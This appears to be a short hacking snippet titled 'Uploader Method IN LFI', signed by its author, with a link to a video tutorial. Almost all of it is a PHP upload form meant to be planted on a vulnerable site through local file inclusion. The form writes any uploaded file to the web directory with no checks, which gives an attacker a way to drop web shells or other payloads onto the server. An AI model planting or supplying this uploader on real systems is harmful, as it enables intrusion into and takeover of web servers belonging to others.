Uploader Method IN LFI

https://www.youtube.com/watch?v=BpNP4nzxLhU <--- Tutorial

<center>Upload Script<form method="POST" enctype="multipart/form-data">
      <input type="HIDDEN" name="act" value="upload">
      <input type="FILE" name="userfile"><input type="hidden" name="miniform" value="1">
      <input type="SUBMIT" name="submit" value="Upload"<br><br>
      <?php
$uploaddir = "";
$uploadfile = $uploaddir . basename($_FILES['userfile']['name']);

if (isset($_FILES['userfile']['name'])) {
        if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) {
                echo "The File ". basename($_FILES['userfile']['name']) ." Was Uploaded!";
        } else {
                echo "Error!";
        }
}

echo "by Ar3z";
?>
    </form>